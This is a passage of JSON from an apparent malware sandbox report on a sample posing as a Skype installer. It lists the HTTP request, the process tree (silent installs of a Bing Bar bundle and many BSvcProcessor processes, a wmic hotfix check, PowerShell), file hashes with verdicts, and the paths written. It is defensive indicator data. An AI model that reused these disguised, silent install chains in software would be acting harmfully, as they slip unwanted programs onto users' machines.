Keep-Alive","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"host":"download.skype.com","host_ip":"92.122.200.126:80","url":"/msi/SkypeSetup_7.37.0.103.msi","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /msi/SkypeSetup_7.37.0.103.msi HTTP/1.1\nUser-Agent: SkypeSetupLight\nConnection: Keep-Alive\nHost: download.skype.com","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}],"processes":[{"pid":2276,"ppid":0,"name":"cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411.exe","command_line":"","sha256":"cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411","normalized_path":"C:\\cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411.exe","uid":"00013791-00002276","icon":"$40"},{"pid":2840,"ppid":2276,"name":"SkypeSetup.exe","command_line":"","sha256":"21b3e3b0ec317f951dce477a8785bdd28ded8417fd0ec1c17453caacaff0e21b","normalized_path":"%TEMP%\\SkypeSetup.exe","parent_uid":"00013791-00002276","uid":"00013942-00002840","icon":"$41"},{"pid":2136,"ppid":2840,"name":"vc_redist.x86.exe","command_line":"/install /quiet /norestart","sha256":"12a69af8623d70026690ba14139bf3793cc76c865759cad301b207c1793063ed","normalized_path":"%TEMP%\\vc_redist.x86.exe","parent_uid":"00013942-00002840","uid":"00028144-00002136"},{"pid":2384,"ppid":2136,"name":"vc_redist.x86.exe","command_line":"/install /quiet /norestart -burn.unelevated BurnPipe.{06609D32-1CFD-49CA-999A-E81D23E663E7} {ABBAAD8A-78CF-415D-A909-D056D7EB3435} 2136","sha256":"12a69af8623d70026690ba14139bf3793cc76c865759cad301b207c1793063ed","normalized_path":"%TEMP%\\vc_redist.x86.exe","parent_uid":"00028144-00002136","uid":"00028288-00002384"},{"pid":2708,"ppid":2840,"name":"cmd.exe","command_line":"\"cmd /c wmic qfe get hotfixid | find \"KB2999226\"\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013942-00002840","uid":"00029465-00002708"},{"pid":2480,"ppid":2708,"name":"WMIC.exe","command_line":"wmic qfe get hotfixid","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00029465-00002708","uid":"00029482-00002480"},{"pid":3300,"ppid":2708,"name":"find.exe","command_line":"\"find \"KB2999226\"\"","sha256":"84d9ab18a059bd31c5ff4646d14f048bda5bde015f4a1fb2ea51e13e49725189","normalized_path":"%WINDIR%\\System32\\find.exe","parent_uid":"00029465-00002708","uid":"00029484-00003300"},{"pid":1196,"ppid":2840,"name":"BingBarSetup-Partner.exe","command_line":"/c:\"DefaultPack.exe silent=true dhp=true dsp=true","sha256":"7f396a021e5489f9568af91f131d0f7cf490308f6d8930213a0d1686980044c0","normalized_path":"%TEMP%\\BingBarSetup-Partner.exe","parent_uid":"00013942-00002840","uid":"00034922-00001196"},{"pid":3612,"ppid":1196,"name":"DefaultPack.EXE","command_line":"silent=true dhp=true dsp=true","sha256":"baac81d8cf35cdd18e60cc5aaefe4a1a7ee1be21de476d187981be16455c58da","normalized_path":"%TEMP%\\IXP000.TMP\\DefaultPack.EXE","parent_uid":"00034922-00001196","uid":"00035229-00003612"},{"pid":3520,"ppid":3612,"name":"DefaultSetup.exe","command_line":"","sha256":"b7c3ea43efc93eda5398cd521b9e6346cc3d965957f7832cbb5b24af8f30a750","normalized_path":"%LOCALAPPDATA%\\Microsoft\\DefaultSetup\\DefaultSetup.exe","parent_uid":"00035229-00003612","uid":"00035539-00003520"},{"pid":3524,"ppid":3612,"name":"BingSvc.exe","command_line":"","sha256":"2da63827ad1449ca5f2888adfa9645f1eaf8b39d26ec214441ee80f3a56e6e72","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BingSvc.exe","parent_uid":"00035229-00003612","uid":"00035590-00003524"},{"pid":2812,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00038331-00002812"},{"pid":2496,"ppid":2812,"name":"BSvcUpdater.exe","command_line":"","sha256":"92b97d593f698966e6cbca1e276f1236787c1383fa2e36306799086c936972ab","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcUpdater.exe","parent_uid":"00038331-00002812","uid":"00039645-00002496"},{"pid":532,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00040352-00000532"},{"pid":1088,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00042374-00001088"},{"pid":3028,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00044394-00003028"},{"pid":3484,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00046415-00003484"},{"pid":264,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00048435-00000264"},{"pid":2836,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00050460-00002836"},{"pid":1976,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00052482-00001976"},{"pid":3580,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00054497-00003580"},{"pid":1684,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00056520-00001684"},{"pid":3340,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00058542-00003340"},{"pid":1120,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00060565-00001120"},{"pid":2280,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00062589-00002280"},{"pid":3380,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00064613-00003380"},{"pid":2056,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00066635-00002056"},{"pid":3776,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00068660-00003776"},{"pid":4244,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00070686-00004244"},{"pid":4400,"ppid":3524,"name":"BSvcProcessor.exe","command_line":"","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","normalized_path":"%LOCALAPPDATA%\\Microsoft\\BingSvc\\BSvcProcessor.exe","parent_uid":"00035590-00003524","uid":"00072710-00004400"},{"pid":2552,"ppid":2276,"name":"powershell.exe","command_line":"$42","sha256":"6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00013791-00002276","uid":"00013983-00002552","icon":"$43"},{"pid":1176,"ppid":2552,"name":"tasklist.exe","command_line":"/svc","sha256":"ad3e811249da750d80f2762c3aeb403780c1b69d05911e3c9950a7daed9e6670","normalized_path":"%WINDIR%\\System32\\tasklist.exe","parent_uid":"00013983-00002552","uid":"00016324-00001176"}],"all_imported_dlls":["Culture.dll","wpdshext.dll","ntmarta.dll","rpcss.dll","wship6.dll","ulib.dll","slc.dll","ole32.dll","winmm.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","secur32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","ws2_32.dll","msi.dll","vbscript.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","wininet.dll","crypt32.dll","sxs.dll","System.Transactions.ni.dll","ieframe.dll","DefaultPackOffer.dll","rasapi32.dll","atl.dll","System.Xml.ni.dll","System.Data.ni.dll","msctf.dll","rsaenh.dll","mscorjit.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","shell32.dll","sspicli.dll","cfgmgr32.dll","winbrand.dll","rtutils.dll","winnsi.dll","netutils.dll","System.ni.dll","winhttp.dll","dhcpcsvc.dll","wmi2xml.dll","diasymreader.dll","devobj.dll","dwmapi.dll","wbemcomn.dll","bcrypt.dll","System.Transactions.dll","usp10.dll","RpcRtRemote.dll","cryptui.dll","msxml3.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","gdi32.dll","xmllite.dll","System.Management.Automation.ni.dll","propsys.dll","msasn1.dll","rasman.dll","System.Core.ni.dll","System.DirectoryServices.ni.dll","System.Data.dll","rpcrt4.dll","dnsapi.dll","rasadhlp.dll","api-ms-win-downlevel-version-l1-1-0.dll","taskschd.dll","msvcr90.dll","System.Configuration.Install.ni.dll","cryptbase.dll","msxml3r.dll","shfolder.dll","api-ms-win-downlevel-user32-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","userenv.dll","user32.dll","tzres.dll","shlwapi.dll","oleaut32.dll","linkinfo.dll","credssp.dll","msimg32.dll","oleaccrc.dll","wtsapi32.dll","ntdsapi.dll","System.Configuration.ni.dll","mscorlib.ni.dll","uxtheme.dll","ntdll.dll","kernel32.dll","urlmon.dll","netprofm.dll","nlaapi.dll","Microsoft.PowerShell.Security.ni.dll","mscorrc.dll","IPHLPAPI.DLL","wbemprox.dll","fastprox.dll","System.Management.Automation.dll","sechost.dll","clbcatq.dll","GdiPlus.dll","mscorwks.dll","Microsoft.PowerShell.Commands.Management.ni.dll","msvcrt.dll","imm32.dll","advapi32.dll","iertutil.dll","api-ms-win-core-synch-l1-2-0.dll","WSHTCPIP.DLL","srvcli.dll","msvcr80.dll","KernelBase.dll","setupapi.dll","shdocvw.dll","nsi.dll","wintrust.dll","mscoree.dll","cscapi.dll","mscoreei.dll","version.dll","wbemsvc.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","Microsoft.WSMan.Runtime.dll","mswsock.dll","npmproxy.dll","MSOXMLMF.DLL","framedynos.dll","psapi.dll","System.Management.ni.dll","comctl32.dll","normaliz.dll","dhcpcsvc6.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","lpk.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","Wldap32.dll","webio.dll","oleacc.dll","ntshrui.dll","Microsoft.WSMan.Management.ni.dll","apphelp.dll","profapi.dll","cryptsp.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","imageres.dll","wuapi.dll","cryptnet.dll","vsstrace.dll","AcLayers.dll","Microsoft.PowerShell.ConsoleHost.dll","wer.dll","wmiutils.dll","mpr.dll","dui70.dll","System.ServiceProcess.dll","System.configuration.dll","dbghelp.dll","bcryptprimitives.dll","mscorlib.dll","riched20.dll","msimsg.dll","wkscli.dll","msls31.dll","System.dll","winsta.dll","wups.dll","cabinet.dll","msisip.dll","sfc_os.dll","ncrypt.dll","Microsoft.PowerShell.Commands.Diagnostics.dll","vss_ps.dll","AcGenral.dll","msacm32.dll","Microsoft.PowerShell.Security.dll","FWPUCLNT.DLL","mlang.dll","WMINet_Utils.dll","SensApi.dll","es.dll","WindowsCodecs.dll","srclient.dll","dsrole.dll","tiptsf.dll","System.DirectoryServices.dll","NapiNSP.dll","pnrpnsp.dll","wixstdba.dll","comdlg32.dll","gameux.dll","schannel.dll","System.Management.dll","sfc.dll","netapi32.dll","duser.dll","advpack.dll","System.XML.dll","winrnr.dll","Microsoft.PowerShell.Commands.Management.dll","gpapi.dll","samcli.dll","oledlg.dll","zlib1.dll","vssapi.dll","feclient.dll","System.Core.dll","spp.dll","System.Configuration.Install.dll","Microsoft.WSMan.Management.dll","Microsoft.PowerShell.Commands.Utility.dll","imagehlp.dll","ExplorerFrame.dll","sqlite3.dll","devrtl.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"SkypeSetup.exe","sha256":"21b3e3b0ec317f951dce477a8785bdd28ded8417fd0ec1c17453caacaff0e21b","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"DefaultPackOffer.dll","sha256":"9a1d46983252b623dbd3c8aa66f18b15df45c02bbd57516edca16a79f3849eba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"ZMG79AE.tmp","sha256":"6ceba98cd4281678ad5dbc4b54e9bd6e519fce43db7a45282282d624987df1e8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"2IWPMLJDD1LPCXGR79MZ.temp","sha256":"3f7da5f7b49d7fa02dbcea402184e64a621232e61ed46adbb3d686a70c0284e8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"ZMG78FF.tmp","sha256":"297d49ab4889cafc09d663432035bf6f145f2a1b201c8d7379aa0c6fed770614","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"ZMG795E.tmp","sha256":"8fa6448b3b43c4f6dc72ebdea7e36a4c8b7204e4fce310d8ce831bc652206445","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"ZMG798E.tmp","sha256":"09909bee503c6b68575335e57db60c5b11e2394a893f300ed33a73e3ad1bab58","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"ZMG79EE.tmp","sha256":"941ddc97da34a2d1a636bbdc3e31075410c8f0616ab11e2782b3d5e3e7fdbd4e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"ZMG7C11.tmp","sha256":"297d49ab4889cafc09d663432035bf6f145f2a1b201c8d7379aa0c6fed770614","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"ZMG7C41.tmp","sha256":"8fa6448b3b43c4f6dc72ebdea7e36a4c8b7204e4fce310d8ce831bc652206445","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"ZMG7C52.tmp","sha256":"09909bee503c6b68575335e57db60c5b11e2394a893f300ed33a73e3ad1bab58","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"ZMG7CA1.tmp","sha256":"6ceba98cd4281678ad5dbc4b54e9bd6e519fce43db7a45282282d624987df1e8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"ZMG7CE1.tmp","sha256":"941ddc97da34a2d1a636bbdc3e31075410c8f0616ab11e2782b3d5e3e7fdbd4e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"VC_redist.x86.exe","sha256":"78e3ead3c50ecb908b2a9ec8c70770749d032e02f61d2bcb25ea6f7a1a7029b8","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"DefaultPack.EXE","sha256":"84541aee8a1bac359c04fbabd30d45d2016598a9fdaee198c159274951f897a9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"vc_redist.x86.exe","sha256":"649e38bc8dd3f992d1986822a112c6d2b28f62c33d3c448ddb5a5753cc136617","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Skype.msi","sha256":"1189dd71373a940d34e8547dbca28e818abe12f406a99c26c6af6ea5030c4f0e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"f4a2ldg@g.msn[1].txt","sha256":"dc64b0fa01025f3addc385a6f70fef5135801b49e737e4e738d79685bb150f14","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"f4a2ldg@msn[1].txt","sha256":"6efae231fdedc1e972e4e3fd9dc9f32722cb4d3a74edff37adcab1ec56476387","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"f4a2ldg@skype[1].txt","sha256":"480c2acc3d1d7d0fdc54005e1a1f826d4670a46bd1f966dc4a0f2c5db3a3976b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"DefaultPack.log","sha256":"bec8ab2925c2f61253cceeaa99470add084c990258122b2418bdfb66d9278f50","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"DefaultSetup.log","sha256":"373c791e63182d1f8d886fe72dd19503f56cf0d1ea23153a2be56efab41fdbfd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"NT2ZP509KXV6RXMN1UA9.temp","sha256":"60f705d1d17f39c0e5427251bcc0a7abc356024a60440748522c071df11bd99d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"appView.js","sha256":"03b3caa4545921606edf138e2501742a4f2dc41d18c8a6ebfb8da15f5847fba1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"BSvcProcessor.exe","sha256":"56970cdd9c0bef069c64e3490b6b79649b00b5e084b8b8f8214b2dcb6a88db82","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"BSvcUpdateConfig.cab","sha256":"4226586749f839eb8a39950cab56dfe6635ef5ded87d647c2279b8af28782425","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"BSvcUpdater.exe","sha256":"92b97d593f698966e6cbca1e276f1236787c1383fa2e36306799086c936972ab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"BingSvc.exe","sha256":"2da63827ad1449ca5f2888adfa9645f1eaf8b39d26ec214441ee80f3a56e6e72","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"DispatchQueue.bin","sha256":"7a997b34404ec0ae2725e374f2d19ad1920a581508adf918a0438210788bb058","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"BrowserConfig.xml","sha256":"323896dcbe191a1bb121cb75fbc3ebd9e29658252fa072d07954a66da127eb14","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"1DAF2884EC4DFA96BA4A58D4DBC9C406","sha256":"dd6674ab8abf3e8e09f2f85a35451c686107bce4e40e0fe589a695bb4f56644d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"37C951188967C8EB88D99893D9D191FE","sha256":"756ae4a9d004e559a1c5660b005adec9bf786fc0dfdce375349cd11b0f8b0b04","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1","sha256":"b23fd5efede76552a6ccfb7a1bb248d8a115a5880c75c91226b0cc2c64d15908","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"696F3DE637E6DE85B458996D49D759AD","sha256":"c070f0d8944c6d48dac730b849d29719a571c5d5d76127d96cbc98830650cfec","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"7396C420A8E1BC1DA97F1AF0D10BAD21","sha256":"b51fe8ad4b7ac99baab5e22b200efda47d168c709aafdc550db1a159f9968fbd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"B912B2C6928A18B8CD7D50CF08BEA95B_6F539538F5EB5010A09C7265C69D3ED7","sha256":"e27dc79fc3e232769de1b16eb5f207d1328ac321f35445692029194a7f96a22c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"BingBarSetup-Partner.exe","sha256":"7f396a021e5489f9568af91f131d0f7cf490308f6d8930213a0d1686980044c0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"wixstdba.dll","sha256":"a9295ad4e909f979e2b6cb2b2495c3d35c8517e689cd64a918c690e17b49078b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]}],"files_written":[{"path":"%WINDIR%\\System32\\en-US\\find.exe.mui","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\WMIC.exe.mui","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\wbem\\xsl-mappings.xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%TEMP%\\SkypeSetup.exe","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\wbem\\texttable.xsl","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\msxml3.dll\\1","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\msxml3.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"C:\\Users\\JcU9LiQ","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\symbols\\dll\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\dll\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.pdb","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\symbols\\dll\\System.pdb","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\dll\\System.pdb","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System.pdb","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\g4h7miqt.default\\prefs.js","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000